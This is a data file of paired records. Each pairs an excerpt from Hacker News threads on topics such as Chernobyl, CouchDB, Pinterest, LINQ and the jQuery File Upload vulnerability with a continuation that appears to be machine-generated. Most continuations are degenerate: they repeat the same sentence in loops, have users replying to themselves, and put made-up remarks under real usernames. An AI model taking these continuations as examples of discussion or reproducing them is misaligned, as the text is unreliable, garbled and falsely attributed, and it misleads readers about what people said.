the\nradiation released was from the nuclear fuel.\n\nThe Fukushima plant was a nuclear power plant, and the radiation released was\nfrom the nuclear fuel. The Chernobyl plant was a nuclear power plant,", "input_text": " of property?\n\nGiven just a slight increase in illness rate for the sheer number of people\ninvolved can give a hard to detect but significant cost. An insurer will have\nto set aside enough money for the expected amount of payout. What would Warren\nBuffett's premiums be? Some claims will be excluded by the insurer, and the\nrest of the population will probably be called to for economic assistance: how\nmuch will that be? What is the opportunity cost of having half a million\npeople cleaning up the place instead of being productive?\n\nFeel free to peruse the [IAEA report about\nChernobyl]([http://www.iaea.org/Publications/Booklets/Chernobyl/chernoby...](http://www.iaea.org/Publications/Booklets/Chernobyl/chernobyl.pdf)).\nWhat is the total economic cost? Maybe \"hundreds of billions of dollars\"? See\nthe report for estimates.\n\nSo yes, we shouldn't run away from radiation. We should clean it up safely,\nthen come to our senses and stop dispersing any more of it. This technology is\na dead-end for normal energy production.\n\n------\nRatfish\nA'spokesman' has just announced in the last few hours that there are high\ncesium levels in leaking water that is measuring 1Sv per hour. That going to\nbe somewhere in the depths of the plant, but living about as far away from\nthis ad is possible is a comfort to me.\n\n------\nadlep\nI've seen a similar titled article about the Fukoshima plant on HN called:\n\"Why I am not worried about Japan\u2019s nuclear reactors.\"\n\n------\nDerbasti\nHow about all those people dying from cancer"} +{"output_text": "aneous things, and maximize the time I'm spending on\nthings that are important to me.\n\n~~~\njoe_the_user\nI think you're right.\n\nI think the problem is that the economy is not a natural system. It's a\nsystem that is designed to maximize the profits of the few at the expense of\nthe many.\n\nThe problem is that the economy is not a natural system. It's a system that is\ndesigned to maximize the", "input_text": " even if you are\nlucky enough to care about the big picture, you probably don't care about\nimplementing yet another responsive XML cloud-based enterprise SEO keyword. If\nyou are qualified for your job, you mostly have a pretty good idea of the\nsolution to the puzzle, so it's not fun to solve. As Quincy Jones said, \"If\nyou go into the studio to make money, God leaves the room.\"\n\nAnd a lot of us have a hard time adjusting to this once we turn programming\nfrom a hobby into a career (which is how most of us got here). We keep\nworking, thinking we'll somehow recapture how it felt to program when we were\ntinkering with HyperCard on a 1980 Apple, but it never happens because the\nwhole structure of what we're doing has changed.\n\nThere's nothing wrong with you. The problem isn't you, it's the structure that\neconomic leaders to build an economy that forces people to work toward the\neconomic leaders' goals rather than their own goals. To quote Joe The\nBarbarian, \"It's not the picture that's upside down, it's the world.\"\n\nI don't have a good solution to this problem. I love programming when I do it\nfor myself, and I've spent countless hours writing compilers/interpreters\nwithout reaping a dime from it (okay, I guess I've gotten jobs due to people\nbeing impressed by my compilers/interpreters, but the economic payoff is\nnegligible compared to the effort). The best I have come up with is to opt out\nof the economy as much as possible, and find ways to work fewer hours while\nmaking enough money to do what I want. The best I can do is minimize the time\nI'm wasting on extr"} +{"output_text": "oving the US from the game would be a huge blow to the\nworld.\n\n~~~\njedberg\n> The most important paragraph in this piece is last one, which plugs a $22.8\n> billion bill to support domestic semiconductor manufacturing in the USA and\n> suggests the need for new entrants.\n\nI don't think that's true. The most important paragraph is the first one,\nwhich says that the bill is a \"bailout\" for the", "input_text": " until 200 words later. However,\nit's once you get past what's sitting in the buffer in your brain that things\ndrastically slow down.\n\nAs a slight aside, not knowing your personal history or the grades you got in\nhigh school, it's quite rare to see someone with a clear and (what appears to\nbe) a natural writing talent coming from a programming background. From what\nI've seen, programming has a propensity to decrease literacy skills. It's\nespecially impressive that it wasn't your standard five-paragraph essay, some\npeople manage to succeed at those and fail at anything a hint more complex.\n\n------\nTheSOB88\nWhat this needs is a chunk model - to be able to see what was written in one\nchunk, from the first insert up to the next delete, then to the next insert,\netc. You'd be able to see more clearly the purpose of every keystroke and\nwouldn't miss the small word changes, while also not having to press \"next\" 60\ntimes to see a sentence unfold.\n\nOh yeah, by the way, cool idea.\n\n \nApple, ARM, and Intel - jonbaer\nhttps://stratechery.com/2020/apple-arm-and-intel/?href=\n======\nthrowawaygh\nThe most important paragraph in this piece is last one, which plugs a $22.8\nbillion bill to support domestic semiconductor manufacturing in the USA and\nsuggests the need for new entrants.\n\nSemiconductor manufacturing is truly one of the few remaining manufacturing\nindustries in which the USA has a competitive advantage (albeit quite eroded\nby TSMC over the past few years).\n\nEspecially with US aviation circling the drain, this is an industry we can't\nafford to lose. Rem"} +{"output_text": " and have no idea what you\u2019re doing.\nYou\u2019re not alone.\n\nI\u2019m a non-technical founder who\u2019s been through the startup process. I\u2019ve\nlearned a lot about what it takes to build a successful company.\n\nI\u2019ve also been through the startup process. I\u2019ve learned a lot about what it\ntakes to build a successful company.\n\nI\u2019ve been through the startup process. I\u2019ve learned a", "input_text": "\nprofile updates and other signals to tell if a candidate is on the move. We\nalso got to HN frontpage last night for our candidate job portal[2]. If there\nare people who would like to talk about what we've accomplished so far feel\nfree to reach me at s@netin.co\n\n[1] [https://netin.co](https://netin.co) [2]\n[https://netin.co/candidates](https://netin.co/candidates)\n\n------\nphilip1209\nIt's great to hear about your success!\n\nFor discussion's purposes, it's worth pointing out that there is a venture-\nfunded company that is doing the same thing (but with a big data science\nteam):\n[https://www.crunchbase.com/organization/entelo](https://www.crunchbase.com/organization/entelo)\n\n------\niamleppert\nNow just let me come up with a product I can sell to developers that\ncamouflages them to this product by simulating activity on these sites...\n\nI wonder what their next line of business is at this company...selling this\ndata to current employers to see when their employee is about to jump ship?\n\n------\ngizmo\nThis type of data mining of personal information feels kind of icky to me.\n\n------\nk2xl\nI wrote a similar tool for recruiters (only analyzes LinkedIn profiles that\nyou are viewing). Mine is significantly cheaper at $9 per month:\n[https://recap.work](https://recap.work)\n\n~~~\n0xmohit\nYour site redirects (301) from HTTPS to HTTP!\n\n \n\nSo you\u2019re inexperienced, non-technical,"} +{"output_text": "~~~\njlgreco\nI'm not sure if you are being sarcastic or not, but I have to wonder if the\n8085 is still being sold in India.\n\n~~~\nlake99\nI'm not sure if you are being sarcastic or not, but I have to wonder if the\n8085 is still being sold in India.\n\n------\njlgreco\nI am not sure if this is sarcasm or not, but I am not sure", "input_text": "elf.com/docs.htm>) and punching it into memory on a hex\nkeyboard (the original had a switch for each bit and 4 push-buttons for load,\nrun, etc).\n\nBy the time I was coding for 6502 and 8088 processors (still in assembly\nlanguage - I was after all an embedded engineer), I had assemblers and an\n80-column by 43-line text editor.\n\nAren't we spoiled today? I wouldn't want to go back, but I've also found that\nthe low-level experience with machine code is something many \"newer engineers\"\nare missing... it's an appreciation of the hardware that you can't get any\nother way.\n\n~~~\nzerohp\nComputer Engineering still offers this experience. It's the main reason I\npicked this major when I returned to school after many years as a programmer.\nMost of the graduates from here go on to software development. The low level\nexperience makes them well suited to work on embedded systems, device drivers,\nand operating systems.\n\n------\nlake99\nI did my bachelors (in India) in the mid-90s, and we all coded this way in our\n8085 labs. Many of us even did final-year projects on similar-looking 8085\nkits.\n\nGiven that such kits are still sold [1] in India, I guess quite a few\nengineering students still learn to code like that.\n\nMy bosses, though, had all worked on punched cards.\n\n[1]: [http://www.dynalogindia.com/products/education-\nsolutions/808...](http://www.dynalogindia.com/products/education-\nsolutions/8085-microprocessor-262.html)\n\n"} +{"output_text": " with the system.\n\nI'm not saying that he's a saint, but I'm not going to be a hypocrite and\npretend that he's not doing good.\n\n~~~\njoe_the_user\n_Let's start with the fact that his startup (lawsuit) actually does more good\nfor society than 95% of these VC-istan social media companies (that are just\nexcuses to waste young peoples' careers). If nothing else, he's", "input_text": " and prestigious employment (i.e. the Entrepreneur In\nResidence)?\n\nDo you think a sane SV VC should employ a toxic person that publicly calls\nZuckerberg a psychopat?\n\nSo far he filed a bunch of frivolous lawsuits against anyone who came into\ncontact with him and looked at him funny. He always represents himself, so\nthere's no cost for him but it hurts the defendants because they have to hire\nand pay for real lawyers.\n\nHis previous lawsuit has been dismissed by the judge\n\n\nHis other lawsuit ()\nis in shambles on procedural grounds because his California lawyer wants to\nwithdraw from the case which would leave Greenspan as the only lawyer and,\njust like in this case, he sues on behalf of his company and a company can't\nrepresent itself, so his has to have an outside counsel to proceed.\n\n~~~\nmichaelochurch\n_What logic compels you to conclude that if you get viciously and frivolously\nsued by someone and publicly badmouthed by him (on his weblog) you should give\nhim a lucrative and prestigious employment (i.e. the Entrepreneur In\nResidence)?_\n\nLet's start with the fact that his startup (lawsuit) actually does more good\nfor society than 95% of these VC-istan social media companies (that are just\nexcuses to waste young peoples' careers). If nothing else, he's drawing\nattention to the \"we'll fund your competitors if you don't play our way\"\naspect of VC-istan, pointing out the problems"} +{"output_text": "'s a\nservice, it's not really a \"product\" in the traditional sense.\n\n~~~\njasonlotito\nI don't think so. Readability is a product. It's a service that you can use to\nread articles.\n\nPinterest is a service that you can use to find things to pin.\n\n~~~\nbrador\nI'm not sure I follow. I'm not sure I understand the distinction.\n\n~~~\njasonlotito", "input_text": " copyright violations of\ninformation you have copyright on? Fine. You want to sell something licensed\nunder CC-By-SA? Fine. But you better be ready to comply to the license and\nallow whoever you give those works to the right to copy, sell and modify those\nworks. I highly doubt Pinterest is prepared for this, and their TOS _is_\noverreaching.\n\n------\nmaqr\nMaybe all the buzz about Pinterest is because so many people think that\nfinding an image online makes it publicly redistributable. \"Pinning\" is just\nanother way of sharing.\n\nI get the impression that there's much wider public acceptance of sharing\n(pirating?) pictures than music, movies, or software. I don't have a good\nanswer as to why this might be, but I'd be curious what HN thinks.\n\n~~~\nelithrar\n> I get the impression that there's much wider public acceptance of sharing\n> (pirating?) pictures than music, movies, or software. I don't have a good\n> answer as to why this might be, but I'd be curious what HN thinks.\n\nAnecdotally, it's because photographs and images are seen as \"easier to\nreproduce\" (whether this is true or not is another matter), and therefore\npossibly easier to justify by those doing the sharing.\n\nThat, and there's far less friction to sharing photos/images than video and\nsoftware.\n\n~~~\neurleif\nPerhaps it's also that photos seem less valuable than songs or movies, since\npretty much anyone can take a decent photo? (Decent by the person's own\nstandards, at least; maybe not by a professional photographer's.)\n\n------\nbrador\nCould this argument also apply to sites like Readability? Since it"} +{"output_text": " of being banned.\n\n~~~\ndylan604\nI think that would be a good idea. I think it would be a good idea to have\nsome sort of verification process for influencers. I think it would be a good\nidea to have some sort of verification process for influencers.\n\n------\ndylan604\nI think the problem is that the influencer is not a real person. They are a\nbrand. They are a product. They are a", "input_text": " marketers analyzing her every move in Business Insider. I\nthink maybe fuck the internet? Just not for the same reason I thought.\n\n------\ncosmodisk\nI looked at her account on Instagram.First of all I'm surprised she's got so\nmany followers,as there's nothing even remotely interesting in her posts.\nThere's no story I'd follow-in fact there's nothing at all. So no surprise\nT-Shirt business was a flop.\n\n------\narkitaip\nEven at a terrible 0.01% conversion rate she would have sold 200 t-shirts.\n0.0018% is a rounding error, the quantity you purchase for QA or for handing\nout at a pr event. Small Twitch streamers with a tenth of her audience sell\nmore t-shirts.\n\n~~~\nMirioron\nI think it has to do with the fact that twitch streamers tend to be very\nengaged with their fans. Especially small twitch streamers. They're kind of\nlike \"rent-a-friend\" except they live based on donations.\n\n~~~\narkitaip\nVery true. Twitch streamers have really discovered a profound truth about what\nit means to be in entertainment.\n\n------\nfloatingatoll\nI\u2019d love to see someone run a perfectly great influencer Instagram where if\nyou can\u2019t verify a purchase within 28 days you are permanently banned from\nfollowing them.\n\nNot because I think this is healthy, but because I think people will complain\nloudly and campaign to have them boycotted for demanding proof of their\n\u201cinfluencer\u201d status resulting in money spend.\n\nI think such a thing would shred the influencer concept to bits, and so all\nthe other influencers would react out of fear"} +{"output_text": " data.\n\n~~~\nganeshkrishnan\nI am not sure if this is the right place to post this but I am curious to know\nwhat are the other neural networks that are being used for Chess.\n\n~~~\nganeshkrishnan\nI am not sure if this is the right place to post this but I am curious to know\nwhat are the other neural networks that are being used for Chess.\n\n~~~\nganeshkrishnan\n", "input_text": ":\n\n\\- No sidewalks or discernible rules of the road\n\n\\- Cycles, cars, trams and horse buggies all mixing it up\n\n\\- People standing around in the middle of the street to pick a ride, or\nstrolling casually straight across heavy traffic\n\n\\- Cars making u-turns right through traffic, or parking everywhere, making\nthe street half as wide as it would have been\n\nOnce I thought about this I couldn't shake the feeling that I was watching\nLahore 2010.\n\n------\nexspiro\nnice! 104 year old google streetview. :)\n\n~~~\njaybol\nI was hoping for some LARP photobombing :)\n\n------\nmortenjorck\nIt's strange to imagine a time when \"oh, look, a motorcar!\" might be uttered\nwith the same sense of technological novelty as \"oh, look, an iPad!\" today.\n\n------\nars\nTo play normally the video needs to be sped up about 40-50%.\n\n~~~\ndmoney\nI think the world was just slower then.\n\n~~~\nars\n:)\n\nCould be, although I don't think gravity was lower. Maybe if the earth was\nturning much faster though......\n\n------\nsabat\nThe blogger notes that Market Street seemed wider than it does today. I\ndisagree; it really looks about the same. Keep in mind that the sidewalk is\nmuch larger now than it appears to be in 1906.\n\n \nChess-playing neural network LC0 beats Stockfish in 100-game match - bonzini\nhttps://tcec.chessdom.com/#\n======\nganeshkrishnan\nIt's really amazing and impressive what LC0 has achieved with almost no money\nand only community pooled training"} +{"output_text": "_s_tayler\nI'm not sure I understand what you mean by \"special monad like syntax\".\n\n~~~\nbmurphy1976\nIt's a way of writing code that is more declarative than imperative.\n\n~~~\njames_s_tayler\nI'm not sure I understand what you mean by \"more declarative than imperative\".\n\n~~~\nbmurphy1976\nIt's a way of writing code that is more declarative than", "input_text": " use Roslyn in code, but that's using the C# compiler in process.\n\n~~~\ngpderetta\nThe code->AST is done of course at compile time (there is no reason to delay),\nbut I believe the expression tree itself is processed by linq at runtime. You\ncan build expressions programmatically at runtime as well (and then ask the\nruntime to optmize them to bytecode). I remember doing it years ago, it was\nsurprisingly simple (and very powerful).\n\n~~~\nmythz\nOf course the Expression's AST generated by the C# compiler is analyzed at\nruntime, how else could it be done?\n\n------\nRapzid\nDoes it AST? Time for a TypeORM 2.0; Entity TypeWork?\n\n------\nduxup\nIs there a good high level explanation for what this is for someone not\nalready familiar with LInQer or C#?\n\nI'm googling around and still kinda not sure.\n\n~~~\nnp_tedious\nIt's a bunch of functions that can be performed on an enumerable (array, set,\n, etc) type. Commonly several are changed together.\n\nSelect (aka map)\n\nWhere (aka filter)\n\nSelectMany (aka Flatmap)\n\nAccumulate (aka fold)\n\nFirst (with optional predicate function)\n\nMax\n\nMin\n\nGroupBy\n\nCount\n\nAnd so on. The readme lists them all\n\n~~~\nbmurphy1976\nIt's more than that though. It's also a special monad like syntax that takes\nadvantage of those methods as well as transformation that takes the\ndeclarative form of those methods and converts them into something else ala\nSQL.\n\n~~~\njames"} +{"output_text": "](https://github.com/apache/couchdb-couch/tree/master/src)\n\n~~~\ngtirloni\nI don't know why they did that. I just know that the Apache version is not\nCouchDB.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\ngtirloni\nIt's a way to get a CouchDB instance running on a single machine.\n\n~~~", "input_text": " is better?\n\n~~~\nrakoo\nValidation functions give you control on writing, but there is no control on\nreading: everybody can read everything. That's more or less by design, couchdb\nwould encourage you to create another db for another set of permissions.\n\nCouchbase's channels allow you to segregate docs with different read (or\nwrite) rights inside the same db.\n\n------\n_Marak_\nCouchDB has not let me down once in over seven years of production usage.\n\nI'm not sure what other software I could say that about.\n\n~~~\nlokedhs\nSame here. The core of our chat application is centred around CouchDB and\nRabbitMQ. Neither of which have ever let us down.\n\nIt can't be a coincidence that both of them are written in Erlang.\n\n------\ncarterschonwald\nI'm pretty confused about where the couchdb repo lives. Can anyone point me to\nit?\n\nOddly:\n[https://github.com/couchbase/couchdb?files=1](https://github.com/couchbase/couchdb?files=1)\nseems to be more like the code than any of the Apache stuff\n\n~~~\ngtirloni\nCouchDB!= Couchbase\n\n[https://github.com/apache?query=couchdb](https://github.com/apache?query=couchdb)\n\n~~~\ncarterschonwald\nNo shit. Now explain to me why the Apache version is split into like 20\ndifferent rebar git repos but has had some core parts untouched for 1-2 years?\n[https://github.com/apache/couchdb-\ncouch/tree/master/src"} +{"output_text": " interesting question would be how to do it with SVG, but I'm not\nsure how you'd go about it.\n\n~~~\nmelicerte\nI'm not sure if I understand your answer, but I'll try to explain.\n\nYou can use SVG to draw the characters, but you can't use it to draw the\nbackground.\n\nYou can use SVG to draw the background, but you can't use it to draw the\ncharacters.\n", "input_text": " to grasp.\n\n \nThe Simpsons in CSS - CoreSet\nhttps://pattle.github.io/simpsons-in-css/\n======\npattle\nI was wondering why I suddenly had an influx of Twitter followers this\nmorning...\n\nThanks to whoever shared this.\n\n~~~\ncmroanirgo\nNicely done. I was following the link to \"How I did it\" and noticed that I got\nSSL cert errors for the site:\n\n[https://www.chrispattle.com/blog/simpsons-in-\ncss/](https://www.chrispattle.com/blog/simpsons-in-css/)\n\nYou're using the cert for octopushr.app... Unfortunately port 80 is also\nclosed, so even the most recent wayback machine wasn't working. Here's a link\nfrom 2016 which goes into your methods, which honestly, are a bit on the\nsparse side (it doesn't detract at all from what you've done):\n\n[https://web.archive.org/web/20160111044359/https://www.chris...](https://web.archive.org/web/20160111044359/https://www.chrispattle.com/blog/simpsons-\nin-css/)\n\n~~~\npattle\nThanks for the heads up, I've just removed those links for now. Wasn't\nexpecting anyone to come across them!\n\n~~~\nmelicerte\nStill, I remain interested to know how you did it :)\n\n~~~\npattle\nI just built the characters up using simple shapes that you can draw in CSS\n(e.g squares, circles) and layer them on top of each other.\n\nI guess an"} +{"output_text": "\n\n------\njrockway\nI don't think I've ever seen a post on Hacker News that didn't have a link to\na blog post.\n\n~~~\njrockway\nI guess I should have said \"a post that didn't have a link to a blog post\".\n\n------\njmtame\nI think the real question is, \"Why do people use Twitter?\"\n\nI think the answer is that it's a great way to keep up", "input_text": " seems to be a bit more\npopular among the kiddes these days though.\n\n~~~\nlitewulf\nGeography plays a strong role as well. In the US AIM is super popular (until\nit was supplanted by gchat in my clique). European friends used to use ICQ\n(long ago), and I think MSN has been generally popular in Asia forever.\n\n------\nhuhtenberg\nFeel free to downmod, but\n\n \n \n (TC + Twitter) = (Don't Care)\n \n\nI would rather have Arrington to own shares of some Erlang product company. At\nthe very least this wave of forced publicity would've been more relevant to\nHN.\n\n~~~\ntlrobinson\nHN member complaining about how they don't care about TechCrunch and/or\nTwitter = don't care.\n\nSeriously, every submission about Twitter has a comment like this. Move on.\n\n------\nfoulmouthboy\nI'm so glad somebody actually did some research into this. The original\n\"study\" of one 15 year old Morgan Stanley intern (writing about his circle of\nfriends) should never have been taken as seriously as it was.\n\n~~~\nSamAtt\nI'm not sure this should be taken much more seriously. This is a survey of\nMyYearbook.com users which right there makes it more biased towards those who\nwould use a service like Twitter. Beyond that we have no real idea of how the\nnumbers break down.\n\nThey give some statistics on their user demographics at the end of the post\nbut they seem irrelevant to me. Since they're a service geared exclusively to\nteens with 3.2 million or so uniques per month (according to compete) yet the\nsurvey only got 20,000 results."} +{"output_text": "'t' and \u2018can't' to \u2018can't').\n\n------\njasonlbaptiste\nI'm not sure if this is a good idea. I think it's a good idea to have a\ncommunity of people who are passionate about a topic. I think it's a bad idea\nto have a community of people who are passionate about a topic and then\ncomment on the page.\n\nI think it's a good idea to have a community of people who are passionate", "input_text": " quality comments - I prefer people voice their\nopinions without fear of repercussions. Obviously, this thinking is not\nappropriate for all cases - if you want product comments for example, by all\nmeans Facebook comments might provide the best type.\n\n~~~\nmikeleeorg\nFortunately, we haven't gotten any \"Yes man\" type discussions on our blog yet.\nMany of our most vocal commenters (who often state contrary opinions to ours)\ntook to the Facebook Comment system well, though we've lost a few too. So far,\nnone of the abusive trolls have come over yet.\n\nUnfortunately, I haven't seen the lively discussions we used to get when using\nLiveFyre. So there's definitely a trade-off. We're definitely not sold on\nFacebook Comments yet; it's just our most recent experiment.\n\n------\nderwiki\nWe use the Facebook comment widget on almost all the pages on Causes.com. Two\nquick comments:\n\n\\- When we run a corporate brand community (such as causes.com/att), our\nclients LOVE the number of and types of comments that people leave on the\npage. We've all been impressed with the quality of the comments as well.\n\n\\- Grammar filter\n([http://developers.facebook.com/docs/reference/plugins/commen...](http://developers.facebook.com/docs/reference/plugins/comments/)):\nadds punctuation (e.g. periods at the end of sentences), trims extra\nwhitespace, expands slang words (e.g. plz becomes please), adds a space after\npunctuation (e.g. Hi,Cat would become Hi, Cat), and fix common grammar\nmistakes (e.g. convert \u2018dont' to \u2018don"} +{"output_text": " files?\n\n~~~\nAssossa\nI'm not sure I understand. I'm not sure I understand how this is a widely\nknown exploit.\n\n~~~\nblueimp\nPlease refer to the vulnerability documentation here to see if you are\naffected: [https://github.com/blueimp/jQuery-File-\nUpload/blob/master/VU...](https://github.com/blueimp/jQuery-File-\nUpload/blob/master/VULNER", "input_text": "\n\n~~~\nblueimp\nI agree with you that this would be the safer route. For a production file\nupload service, file uploads should ideally stored in a specialized blob\nstore, e.g. Amazon S3 or Google Cloud Storage.\n\nHowever the PHP code was written as easy-to-use sample code and I did not want\nto introduce a database as dependency and keeping the sanitized filename plus\nextension keeps the meta information intact.\n\nIf I had provided better information about how to securely configure the\nWebserver to allow all file types for upload, using the original - but\nsanitized - filenames would not be an issue.\n\n------\njohn37386\nSo this afect only apache? Anyone have any thoughts on nginx, IIS and other\nweb servers like tomcat, websphere?\n\n~~~\nblueimp\nPlease refer to the vulnerability documentation here to see if you are\naffected: [https://github.com/blueimp/jQuery-File-\nUpload/blob/master/VU...](https://github.com/blueimp/jQuery-File-\nUpload/blob/master/VULNERABILITIES.md#remote-code-execution-vulnerability-in-\nthe-php-component)\n\n------\nAssossa\nI'm curious as to how this could be a widely known exploit in the hacker\ncommunity, but no one reported it until 3 years after its publicity.\n\n~~~\njpic\nIt's not 3 years old, we've been exploiting it when we were 14 yr old trying\nto find server to host warez content, and has nothing to do with the plugin\nitself: it's all about apache's mod_php configuration: does it allow execution\nof php files that are in the directory where users upload"} +{"output_text": "\nI don't think that's what the article is about. It's about the fact that he\nwas a doctor and he was able to predict the pandemic.\n\n~~~\njv22222\nI agree, but I think the title is a bit misleading.\n\n------\njv22222\nI think the title is a bit misleading.\n\nThe article is about a doctor who predicted the pandemic.\n\n~~~\nchrisseaton\n> The article is about", "input_text": " it to do this yourself? Skimlinks is taking 25%, for this cut I'd\nthink about implementing it myself...\n\n------\nbillpatrianakos\nThis is much ado about nothing. Just fodder for bloggers. What Pinterest is\ndoing is legal and isn't unethical at all. They're not promoting their\naffiliate links over anything else and Skimlinks does not alter user posted\nlinks that are affiliate links to start with.\n\nPinterest is providing a service to its users and those users can choose to\nuse Pinterest or not. I would tell anyone upset about this \"tough luck, go\nsomewhere else\". If this were Google or Facebook there may be some reason to\nbe upset. But unlike Facebook or Google, Pinterest isn't a ubiquitous service\nthat's been adopted and deeply integrated into people's lives and way they\nwork. Right now is the time for Pinterest to do these sorts of things because\nthe more popular they get the harder it becomes.\n\n \nA Man Who Saw the Pandemic Coming - dnetesn\nhttp://nautil.us/issue/83/intelligence/the-man-who-saw-the-pandemic-coming\n======\njv22222\nPeople are focusing on the \"he saw it coming\" aspect of the title.\n\nI would encourage folks to read the article with an open mind as the \"he saw\nit coming\" is not really the point of most of what is said here.\n\nThis is is an expert who understands the realty of zoonotic spillover, and how\nit is going to become a more prevalent threat over time, and how to deal with\nthat threat.\n\n~~~\nchrisseaton\n> People are focusing on the \"he saw it coming\" aspect of the title.\n"} +{"output_text": "\n\n~~~\nspydertennis\nI agree. We are working on a better way to describe what it does.\n\n------\njoshu\nI'm not sure I understand the appeal of this.\n\nI have a sleep tracker that I use to track my sleep. I don't need a bracelet\nto tell me when I'm in a light sleep.\n\n~~~\nspydertennis\nWe are working on a better way to describe what it", "input_text": "#Sleep_s...](https://secure.wikimedia.org/wikipedia/en/wiki/Sleep#Sleep_stages))\n\n------\nanon-e-moose\nYour website needs to have a one sentence explanation of what it does, e.g.\nmeasure sleep and wake you up when you're in a light sleep. You pretty much\nhave to read the FAQ to figure out that's what it does. Not saying this makes\nit seem like a quack magnetic bracelet or something. Just a suggestion.\n\n~~~\nspydertennis\nWe made the assumption that the average purchaser would not be interested in\ndetails like what phase of sleep you are woken up in. That is why those\ndetails are provided, but not prominently displayed.\n\nThank you for your suggestion though.\n\n~~~\nreemrevnivek\nThe average purchaser is probably not interested in the details, but they are\nmost certainly interested in a sentence describing what it does.\n\nAll that I knew about it when I clicked the link and skimmed the page was: \\-\nThey're ready \\- I skipped some stuff about pre-orders \\- I might not be able\nto get one before Christmas \\- When you make them, they're all arranged in a\nbig tray, are charcoal and light blue \\- The manufacturing process somehow\ninvolves baking and cutting.\n\nI had to click in my url bar and type in \"wakemate.com\" before I got anything\nuseful. It's a fuzzy bracelet, it has something to do with waking you up and\nmaking you feel better, a few platforms like iPhone, some video I don't have\ntime for, and I finally read \"Wake up at the optimal time in your sleep\ncycle.\"\n\nThat sentence should be the first thing I read."} +{"output_text": " have to pay for that.\n\n~~~\njedberg\nThe overhead is not that high.\n\nThe overhead is that they have to pay for the servers that host the app store.\n\nThe overhead is that they have to pay for the bandwidth to get the app store\ndata to the user.\n\nThe overhead is that they have to pay for the bandwidth to get the app store\ndata to the server.\n\nThe overhead is that they have to pay for the", "input_text": "writer\nSince there are alternative stores on Android (incluid Epic\u2019s own, which,\nIIRC, they used Fortnite exclusivity to launch), to which developers\ndemonstrably do resort if Google's pricing or other terms become unfavorable,\nthere's a lot weaker antitrust argument with Google Play.\n\n~~~\ndamnyou\nI use Android with alternate app stores everyday, so I'm intimately familiar\nwith the issues with them. The most prominent ongoing issue is that they can't\nauto-update apps the way Google's can. It's not a level playing field.\n\n------\nbaby-yoda\nthe enemy (aapl/goog) of my enemy (antitrust regulators) is my friend?\n\n~~~\nmarkus_zhang\nNo but you want them to fight at least\n\n------\nDatsundere\nThis is exactly what DHH fought over apple to get their app approved in the\nplay store. If you still think that having to pay 25% of your profit just to\nlist your product that you didn't even use their tools to make, then you're\ninsane.\n\n------\nscott31\nAs a Fortnite player, its time to buy an iPhone then\n\n~~~\ntveita\nYou might have missed some steps of this still developing story:\n[https://twitter.com/markgurman/status/1293984069722636288](https://twitter.com/markgurman/status/1293984069722636288)\n\n------\nlwansbrough\nCrazy number of boot lickers in these threads.\n\n------\nteknopurge\nThis is going to backfire for Epic. I see both sides, however, the App Stores\nhave overhead to support free apps, and they"} +{"output_text": " guide, that means we're going to have a\nsignificant amount of debt in the future.\n\n~~~\nNursie\nI'm not sure I agree with that.\n\nI think the idea that we're going to have a significant amount of debt in the\nfuture is a bit of a fallacy.\n\nWe're going to have a significant amount of debt in the future because we're\ngoing to have a significant amount of debt in the future.\n\nWe're", "input_text": " last year was the same price as a new\none this year, if we wait its for the last years model. We don't wait to buy\nfood until tomorrow because it might be cheaper. We don't wait to fill our gas\ntank until tomorrow, we have to get to work today. We don't wait until\ntomorrow to fill our prescriptions, we need them today. I don't wait to pay my\nelectric or cable bills, I need them today.\n\nWhere is it, who, exactly, does this hurt. Who will be sitting on their money,\nwaiting to buy things they need until tomorrow. Only people who already have\neverything they need, and even then they will continue to buy the basics. Who\ndoes this hurt. The roads will continue to be paved, the cities will continue\nto function. How does this all break down when a dollar today is worth a\ndollar and a fraction of a cent tomorrow.\n\nWe weren't all dying when gas was $1 a gallon were we?\n\n~~~\nNursie\nIt hurts everyone as the economy shrinks and there's less cash to go around.\n\nThat's who.\n\n~~~\nmsandford\n> It hurts everyone as the economy shrinks and there's less cash to go around.\n\nOnly until prices fall enough that people start spending again and hiring\npicks up again.\n\nThe idea of an evenly rotating economy where everything is great all the time\nhas been thoroughly disproven over 100 years ago. To try and manage the\neconomy to be so is a fool's errand.\n\nDebt has grown ever-so-slightly faster than income for the last 40-50 years\nand that means future purchases have been pulled to the present for the last\n40-50 years. If history is a"} +{"output_text": "\ncontainer is not running. This is a problem because it means that you need to\nhave a daemon running to do the container operations. However, in the future\nwe could switch to a fork-exec model where the kubelet would fork a process\nthat would do the container operations and then exec into the container.\n\n~~~\njgrahamc\n> At the moment, the RPC requirement means that you need to have a process that\n> can accept RPC", "input_text": " where routing, fabric and ip allocation gets muddled all up, when\nthere are well developed, stable, well tested independent and orthogonal\nalternatives for tunnelling and route propagation there's a serious level of\nNot Invented Here syndrome at work in many of the container projects. I'm sure\n_some_ people need all the complexity, but I'm getting more and more tempted\nto ditch many of the higher level tools in favour of composing smaller,\nsimpler tools.\n\n(Incidentally I'll make one prediction: one good thing likely to come from CRI\nis that I suspect it will lead to a new array of Kubernetes \"replacements\"\nfrom simpler composable tools; the APIs don't look all that bad - I just don't\nlike the RPC dependency)\n\n~~~\ncyphar\n> Do you have any more specific pointers regarding using it without a daemon?\n> As the examples seem to start with starting a daemon, unless I misunderstand\n> something\n\nAt the moment, the RPC requirement means that you need to have a process that\ncan accept RPC requests (a \"daemon\" if you like). However, unlike Docker (and\ncontainerd), ocid's lifetime is not tied to the lifetime of its containers --\nwhich is one of the main downsides of Docker/containerd IMO. So in principle\nyou could have ocid set up to only start up when kubelet is telling it to do\nanything. The real benefit of the design behind ocid is that _in the future_\nwe could switch to a fork-exec model with the kubelet and it would still work.\n\nFor example, currently kubernetes is adding a requirement for runtimes to\ninclude a \"kpod\" binary that can do container and image operations even if the"} +{"output_text": " hope this helps.\n\n------\njamesjyu\nI've found that the best way to get into the zone is to have a routine. I\nusually wake up at 6am, and then I'll go to the gym, shower, and then I'll\nstart working. I'll work for about an hour, and then I'll go to the gym for\nanother hour. I'll then shower, and then I'll go to work for another hour.\n\nI've", "input_text": " down a tech job, I'm sure. I wish it were not so, it\nhas many negative side effects for me: anxiety, grumpiness, difficulty\nsleeping well. If you find a good motivator that isn't a drug, you will be way\nahead.\n\n------\nchanz\nIn my case, it helps to stick to habits. Habits that are device, cloths and\nlocation specific.\n\nThe biggest one is probably my computer at home. It only exists for gaming.\nWhen I'm inside my gaming room to enjoy a gaming session, nothing else gets\nclose to me and I forget about everything as soon I step into this room.\n\nAnother thing is, that I have cloths to relax, to go out and to go to work. As\nsoon I change into my plain white shirt with collar, my brain probably\nswitches to work 